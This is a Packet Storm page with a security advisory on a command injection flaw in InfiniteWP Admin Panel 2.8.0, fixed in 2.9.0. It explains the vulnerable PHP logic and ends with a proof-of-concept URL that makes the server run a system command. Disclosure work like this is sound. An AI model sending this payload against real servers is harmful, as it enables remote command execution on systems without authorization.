exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection
Posted Sep 10, 2016
Authored by Securify B.V., Sipke Mellema

WordPress InfiniteWP Admin Panel version 2.8.0 suffers from a command injection vulnerability.

tags | exploit
SHA-256 | 9a2f56e0d388524d1d706460eeac6bad439c42e829699ec509f6b08b7ba95106

WordPress InfiniteWP Admin Panel 2.8.0 Command Injection

Change Mirror Download
------------------------------------------------------------------------
Command injection in InfiniteWP Admin Panel
------------------------------------------------------------------------
Sipke Mellema, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
The InfiniteWP Admin Panel can be used to execute arbitrary system
commands. The vulnerability can be exploited using an authorization
bypass or by making an authorized user visit a specially crafted URL.

------------------------------------------------------------------------
OVE ID
------------------------------------------------------------------------
OVE-20160712-0006

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on IWPAdminPanel version 2.8.0.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue is resolved in IWPAdminPanel version 2.9.0.

------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://sumofpwn.nl/advisory/2016/command_injection_in_infinitewp_admin_panel.html

The file ajax.php can be used to execute arbitrary system commands on a system running the InfiniteWP plugin Admin Panel. When an authorized user calls ajax.php, the handler method from the panelRequestManager class is called:

$result = panelRequestManager::handler($_REQUEST);

In this handler an if statement will check access levels, if the method userRestrictChecking is implemented. However, this method is not implemented in the default (free) version.

The code will follow on with converting user input to multiple variables.

$actionResult = $data = array();
$action = $requestData['action'];
$siteIDs = $requestData['args']['siteIDs'];
$params = $requestData['args']['params'];
$extras = $requestData['args']['extras'];
$requiredData = $requestData['requiredData'];

Later on in the code, the method requiredData is called with user data as an argument.

$data = self::requiredData($requiredData);

The method requiredData will try to execute methods supplied by the user, using the method evaluateMethod. Multiple methods are allowed.

foreach($requiredData as $action => $args){
$data[$action] = self::evaluateMethod($action, $args);

The evaluateMethod method will check if the requested action exists in the panelRequestManager class. If so, the action will be called with the arguments as requested by the user. If the method does not exist in the panelRequestManager class, the code will check if the action exists in the array self::$addonFunctions. If it is, the action will get executed.

public static function evaluateMethod($action, $args){
if(method_exists('panelRequestManager', $action)){
if($action == 'getSitesUpdates'){
return self::$action($GLOBALS['userID']);
}else{
return self::$action($args);
}
eif(in_array($action, self::$addonFunctions) && function_exists($action)){
return call_user_func($action, $args);

By default, users can only execute commands that are contained in the panelRequestManager class, or in self::$addonFunctions. But the panelRequestManager class includes a method called addFunctions that can be used to add methods to the array of methods that can be called from evaluateMethod. It's possible to invoke the addFunctions method to include system commands in the list of allowed methods.

public static function addFunctions(){
$args = func_get_args();
self::$addonFunctions = array_merge(self::$addonFunctions, $args);
}

The vulnerability can be exploited using an authorization bypass or by making an authorized user visit a URL.
Proof of concept

Have a logged in user visit the following URL:
http://www.<webserver>.com/IWPAdminPanel_v2.8.0/ajax.php?action=foo&requiredData%5BaddFunctions%5D=system&requiredData%5Bsystem%5D=whoami

It should now look something like:

{"actionResult":[],"data":{"addFunctions":null,"system":"www-data"}...


------------------------------------------------------------------------
Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close